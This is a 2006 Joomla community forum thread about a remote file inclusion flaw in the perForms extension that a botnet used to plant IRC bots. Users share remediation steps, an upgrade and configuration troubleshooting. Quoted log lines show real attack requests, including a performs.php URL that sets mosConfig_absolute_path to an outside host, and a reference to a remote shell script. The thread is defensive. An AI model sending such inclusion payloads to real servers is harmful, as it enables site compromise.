[UPGRADE AVAIL.] perForms Vulnerability

Peter Koch · **Joined:** Thu Aug 18, 2005 8:54 pm **Posts:** 367

Please read here.

Short: Installs IRC-Bot, infected yet 100 servers and growing fast.

components/com_perform/perform.php

brian · **Posted:** Thu Jul 13, 2006 3:30 pm

Any chance of a translation please or at least a summary

Peter Koch · **Joined:** Thu Aug 18, 2005 8:54 pm **Posts:** 367

Quote:

Joomla-extension perForms acute at risk.

A botnet operator uses currently a yet unknown vulnerability in the joomla extension perForms, to install an IRC bot. Infected computers can be identified by a running process with name httpdse and an IRC connection outgoing from it. The used programming fault is in the php file components/com_perform/perform.php. It includes external files by the global parameter $mosConfig_absolute_path, without checking for manipulation before. An attacker can under circumstances load arbitrary malcious php code, if the webserver is running with register_globals=on. The botnet uses google to search for other possible victims. According to Nepenthes developer Markus Kötter the botnet currently is about 100 compromised servers and is growing.

A comparable vulnerability was lately discovered in the extension Galleria. Possibly it is also present in other modules. The promlem with vulnerable extentions is allready known by the joomla developers. They recommend to all joomla users, to check php files of theire extensions. They should at the beginning have a line as

defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );

which shoud in case be added when missing. The code secures scripts from a direct call how it is necessary for most exploits. Also it is imperative recommended to run the PHP-webserver with register_globals=off. This setting in php.ini protects from a big part of the known and yet unknown vulnerabilities in in PHP-scripts. (cr/c't)

gustavo · **Posted:** Thu Jul 13, 2006 3:38 pm

-> I have logged "IRC-Bot" in my apache log .. dir: http://muach.t35.com/tools/elite.php

insert shell , wget "IRC-Bot" .. < 1 minute.

Have a nice day
Gustavo

rden17 · **Joined:** Tue Nov 29, 2005 12:48 am **Posts:** 78

If already compromised, will inserting

defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );

in all .php files and turning off globals take care of this?

Peter Koch · **Joined:** Thu Aug 18, 2005 8:54 pm **Posts:** 367

rden17 wrote:

If already compromised, will inserting

defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );

in all .php files and turning off globals take care of this?

That would only fix the joomla installation, but not remove the IRC-Bot.

Read this.

Tonie · **Joined:** Thu Aug 18, 2005 7:13 am **Posts:** 12926

Not sure if anybody already has done this. I have contacted the developer in question about this issue.

Peter Koch · **Joined:** Thu Aug 18, 2005 8:54 pm **Posts:** 367

Tonie wrote:

Not sure if anybody already has done this. I have contacted the developer in question about this issue.

Probably not. I asked this question allready in the thread of another affected add-on.

Somebody should co-ordinate that all the respective developers get notified. Better twice than not at all.

ot2sen · **Posted:** Thu Jul 13, 2006 6:58 pm

Tonie wrote:

Not sure if anybody already has done this. I have contacted the developer in question about this issue.

A PM was sent earlier asking him to comment on this issue, with link to this thread.
To avoid others experience this, the extension is unpublished again from Extensions Directory until fix from developer.

aramil · **Joined:** Thu Apr 20, 2006 9:04 pm **Posts:** 99

Hi all!

In a good moment perForms, just released the version 2 beta of this component. I unistalled the firts version due the security issue but i really like this component. Will be secure this new version?

Namarië

Elpie · **Joined:** Wed Aug 17, 2005 11:26 pm **Posts:** 869

amaril, the developer is really the only person who can answer that question for you at the moment. ot2sen has already asked him to comment on the issue so hopefully he will be able to tell you soon.

spignataro · **Posted:** Fri Jul 14, 2006 2:51 pm

update with the latest package:

http://forge.joomla.org/sf/frs/do/viewR ... ms_v2_beta

choomla · **Posted:** Mon Jul 17, 2006 1:35 pm

And what? That means it is safe? Just uninstall the old one and install the new beta?

spignataro · **Posted:** Mon Jul 17, 2006 4:47 pm

correct

There are some major fixes to the release that resolve the problems that where happening. (also some nice new features have been implemented - alot better then the way i was implementing them)

Kind regards,

Niklas · **Posted:** Mon Jul 17, 2006 4:59 pm

The new version is great! Nice work.

ilhami · **Joined:** Sun Nov 20, 2005 2:29 pm **Posts:** 25

v2-bet is safer, you should install that,
http://forum.joomla.org/index.php/topic ... #msg400101

choomla · **Posted:** Tue Jul 18, 2006 5:04 am

But what about my content, the forms I´ve created, will they disappear when I uninstall the old one?

ilhami · **Joined:** Sun Nov 20, 2005 2:29 pm **Posts:** 25

choomla wrote:

But what about my content, the forms I´ve created, will they disappear when I uninstall the old one?

yes, they will, but i am going to write an update script very soon.

choomla · **Posted:** Tue Jul 18, 2006 7:19 am

Great, then I'll unpublish mine and wait for that. Please post here when ready.

spignataro · **Posted:** Tue Jul 18, 2006 1:06 pm

this is all i did - i backed up the tables. Uninstalled performs - Deleted any left over tables. Installed the new performs. Inputted the old information into the database and i was good.

Joomaboom · **Joined:** Fri Sep 02, 2005 4:19 pm **Posts:** 70

Is there a permission we can change to stop the hack and keep our forms running while we wait for an update script?

spignataro · **Posted:** Wed Jul 19, 2006 4:17 pm

add the following to the top of performs.php

Code:

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

duncans · **Joined:** Wed Apr 12, 2006 11:31 pm **Posts:** 13

I restored and then upgraded after being hacked.

I just noticed that when I turn off register globals, the forms don't work.

nwm · **Joined:** Wed Sep 07, 2005 7:31 pm **Posts:** 34

I have same problem as Duncans When register globals turned off I cannot get form via the main menu item.

Register globals turned off by adding "php_flag register_globals off" in htaccess files

Any advice and help?

Norman

nwm · **Joined:** Wed Sep 07, 2005 7:31 pm **Posts:** 34

Hi

I am still having same problem. Have reinstalled V 2 beta and all seem to work OK but can get no form in front end Used menu link URL with link as "index.php?option=com_performs&formid=1" but no form displayed. This worked OK before register_globals was turned off. Please can anyone help?
Thanks in anticipation

nwm wrote:

I have same problem as Duncans When register globals turned off I cannot get form via the main menu item.

Register globals turned off by adding "php_flag register_globals off" in htaccess files

Any advice and help?

Norman

pcigre · **Posted:** Sat Sep 02, 2006 5:57 pm

I have error when try to instal v2. Anyone else with this problem?

smart · **Posted:** Mon Sep 04, 2006 8:21 am

pcigre.com wrote:

I have error when try to instal v2. Anyone else with this problem?

Hm... v2 installs with no errors...

Joomlamahesh · **Posted:** Sun Sep 17, 2006 7:37 pm

It works only if the RG_Emulation is ON. (Even when RG is OFF). If the RG_Emulation is Off , it does not display the form. Joomla security forums recommend RG=Off as well as RG_Emulation=Off. So what to do ?

Joomlamahesh · **Posted:** Thu Sep 21, 2006 4:40 am

Quote from: RVFoley on September 03, 2006, 08:59:12 PM

Quote:

If you will open up performs.php in an editor and search for the term "formId", you need to change this to "formid". Then it will work with register globals = off and with php.ini or your server php configuration set to register globals = off as well.

Thanks. This did the trick. I was not able to use the form when it put off th RG_Emulation in my global.php when some hack attemts at performs were detected. With chaning as suggested above, the form has started working again even with RG = Off & RG_Emulation = Off.

Thanks once again.

Joomlamahesh · **Posted:** Sat Dec 09, 2006 3:46 am

While going through my log files I found lines like :

/components/com_performs/performs.php?mosConfig_absolute_path=http://panoplanet.com/c.in?
Http Code: 404 Date: Dec 07 21:33:08 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.79

As this sounded problematic I have removed the component and deleted the file. Still these lines appeared today. My error log showed that the file acess to performs is giving errors.

What shall I do to rectify the problem and secure the system further. I had alredy taken the measures mentioned above like .htacces file upgradation, RG=off on the host, Emulation =off etc.etc.

[UPGRADE AVAIL.] perForms Vulnerability

Quick reply

Who is online